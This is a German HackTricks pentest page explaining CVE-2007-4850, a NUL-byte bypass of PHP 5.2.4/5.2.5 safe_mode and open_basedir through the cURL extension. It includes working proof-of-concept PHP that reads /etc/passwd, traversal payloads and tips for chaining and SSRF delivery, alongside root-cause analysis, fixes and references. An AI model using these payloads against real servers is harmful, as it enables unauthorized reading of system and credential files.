PHP 5.2.4 und 5.2.5 PHP cURL
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Diese Seite dokumentiert einen veralteten, aber in CTFs und lokalen Legacy-Installationen weiterhin nützlichen Trick, um PHP safe_mode/open_basedir-Prüfungen mithilfe der cURL-Erweiterung auf bestimmten PHP 5.2.x-Builds zu umgehen.
- Betroffen: PHP 5.2.4 und 5.2.5 mit ext/curl aktiviert.
- Auswirkung: Lesen beliebiger lokaler Dateien trotz safe_mode- oder open_basedir-Einschränkungen (keine direkte Codeausführung).
- ID: CVE-2007-4850.
Von http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
Einzeiler PoC
Wenn safe_mode oder open_basedir aktiv sind und cURL aktiviert ist, gibt das Folgende den Inhalt des aktuellen Skripts zurück:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Ausführlicherer PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Hinweise:
- Verwende doppelte Anführungszeichen oder chr(0), um ein echtes NUL-Byte einzuschleusen. Prozent-Encoding (%00) funktioniert nicht zuverlässig.
- Dies ist ein Dateilese-Primitiv. Kombiniere es mit anderen Primitiven (log poisoning, session file inclusion, etc.) für weitere Eskalation, wenn möglich.
Warum das funktioniert (kurz)
Die Schwachstelle liegt darin, wie PHP 5.2.4/5.2.5 safe_mode/open_basedir-Prüfungen für file://-URLs in ext/curl durchführte. Die Prüfung analysierte die URL und validierte eine Pfadkomponente, aber aufgrund der NUL-Byte-Behandlung validierte sie einen anderen String als den, der tatsächlich von libcurl verwendet wurde. In der Praxis konnte der Validator den Pfad nach dem NUL akzeptieren, während libcurl den Teil vor dem NUL als URL-Container verwendete, was einen Bypass ermöglichte, der dazu führt, dass die Datei gelesen wird, die nach dem NUL-Byte liegt. Siehe die ursprüngliche Analyse und das betroffene Makro in curl/interface.c für Details. [CVE-2007-4850].
Einschränkungen und Fixes
- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
- Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior.
Verwandte historische cURL-based bypasses
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed
file://access with embedded NULs to bypass open_basedir; fixed before 5.2.x. - PHP bugs #30609/#36223 tracked early cURL open_basedir issues using
file://without canonicalization. Any check before the NUL byte or withoutrealpath-style resolution is prone to the same truncation.
CTF-Tipps
- Wenn du PHP 5.2.4/5.2.5 mit ext/curl identifizierst (achte in
phpinfo()aufcURL support => enabledund die genauePHP Version), funktioniert dieser Trick normalerweise auch, wennallow_url_fopendeaktiviert ist, da ext/curlfile://selbst verarbeitet. - Wenn direkte Pfade blockiert sind, versuche relative Traversals nach dem NUL, z. B.
file://x\x00../../../../etc/passwd. Die Traversal-Auflösung erfolgt durch libcurl, nicht durch die open_basedir-Schutzmaßnahme. - Du kannst die Nutzlast in einen einzelnen HTTP-Request-Body einbetten, um das LFI über verwundbaren Server-Code auszulösen, der benutzerkontrollierte URLs in
curl_exec()spiegelt (häufig in älteren SSRF-ähnlichen Endpunkten).
Siehe auch
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


